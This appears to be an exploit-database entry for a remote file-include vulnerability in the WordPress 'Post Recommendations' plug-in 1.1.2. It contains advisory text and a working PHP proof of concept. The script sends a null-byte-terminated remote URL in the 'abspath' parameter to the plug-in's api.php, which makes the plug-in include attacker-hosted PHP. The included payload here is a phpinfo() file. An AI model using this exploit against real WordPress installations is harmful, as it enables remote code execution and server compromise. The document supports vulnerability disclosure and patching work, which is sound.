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vendor:
Post Recommendations plug-in
by:
SecurityFocus
7,5
CVSS
HIGH
Remote File-Include Vulnerability
98
CWE
Product Name: Post Recommendations plug-in
Affected Version From: Post Recommendations 1.1.2
Affected Version To: Other versions may also be affected.
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2012

Post Recommendations plug-in for WordPress Remote File-Include Vulnerability

The Post Recommendations plug-in for WordPress is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/54459/info

The Post Recommendations plug-in for WordPress is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Post Recommendations 1.1.2 is vulnerable; other versions may also be affected. 

PostShell.php
<?php

$ch = curl_init("http://localhost/wordpress/wp-content/plugins/post-recommendations-for-wordpress/lib/api.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('abspath'=>"http://localhost/lo.txt\0"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);

print "$postResult";

?>


lo.txt
<?php phpinfo(); ?>